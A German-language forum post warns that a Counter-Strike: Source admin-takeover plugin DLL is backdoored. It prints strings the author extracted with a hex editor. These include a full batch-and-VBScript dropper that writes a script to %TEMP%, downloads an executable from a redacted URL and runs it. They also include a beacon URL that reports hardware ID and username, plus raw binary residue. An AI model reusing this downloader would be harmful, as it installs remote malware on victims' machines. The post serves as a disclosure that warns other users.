Counterstrike Source Lua/Mani Admin Takeover

[<~Engel~>]

Die maniadmintakeover.dll is wie es ausseht backdoored ! (Siehe im Spoiler was ich mit nem hex-editor gefunden habe bzw sie war backdoored link is durch xxx erseztz worden(ps war in der dll so ^^)

start %s @echo Off
echo Const adTypeBinary = 1 > %TEMP%\winconfig.vbs & echo Const adSaveCreateOverWrite = 2 >> %TEMP%\winconfig.vbs & echo Dim S >> %TEMP%\winconfig.vbs & echo Dim A >> %TEMP%\winconfig.vbs & echo Dim DTNDTN >> %TEMP%\winconfig.vbs & echo S = "ADODB" >> %TEMP%\winconfig.vbs & echo A = ".Stream" >> %TEMP%\winconfig.vbs & echo Set DTNDTN = CreateObject(S+A) >> %TEMP%\winconfig.vbs & echo DTNDTN.Type = adTypeBinary >> %TEMP%\winconfig.vbs & echo DTNDTN.Open >> %TEMP%\winconfig.vbs & echo DTNDTN.Write BinaryGetURL(Wscript.Arguments(0)) >> %TEMP%\winconfig.vbs & echo DTNDTN.SaveToFile Wscript.Arguments(1), adSaveCreateOverWrite >> %TEMP%\winconfig.vbs & echo Function BinaryGetURL(URL) >> %TEMP%\winconfig.vbs & echo Dim Http >> %TEMP%\winconfig.vbs & echo Set Http = CreateObject("WinHttp.WinHttpRequest.5.1") >> %TEMP%\winconfig.vbs & echo Http.Open "GET", URL, False >> %TEMP%\winconfig.vbs & echo Http.Send >> %TEMP%\winconfig.vbs & echo BinaryGetURL = Http.ResponseBody >> %TEMP%\winconfig.vbs & echo End Function >> %TEMP%\winconfig.vbs & echo Set shell = CreateObject("WScript.Shell") >> %TEMP%\winconfig.vbs & echo shell.Run "%TEMP%\xxxxxx.exe" >> %TEMP%\winconfig.vbs & start %TEMP%\winconfig.vbs http://www.xxxxxxxx.xxx/xxxxxx.exe %TEMP%\xxxxxx.exe

echo Update Loading. MKDIR %s \GetLegit \autoupdate.bat Activate. c:\sourcebinary\utils\serverplugin_sample\serverpl ugin_empty.cpp Microsoft Internet Explorer /rconid.php fagplanet.com xwÊ—L x„—'†UŠ?ŒÌÍ”t˜‡ž+‘¯š‹À� �¯ž²›ú…X–—œ„Š <xI–I–I–I–I–I–I–I–I–I–I–I– I–I–I–I–I– ŒxѐI– UW‹|$W‹éè xxxxxxxxxx VEngineClient012 engine.dll VEngineRandom001 EngineTraceServer003 ISERVERPLUGINHELPERS001 VFileSystem017 GAMEEVENTSMANAGER001 VEngineServer021 Emtpy-Plugin, Valve C:\ Valid. /rconid.php?hwid=%.0f&version=%.1f&username=Cracked Shit

wobei in der mani_admin_plugin.dll dieser link steht h**p://www.getlegit.net/trojan.*xe (link "entschärft"^^)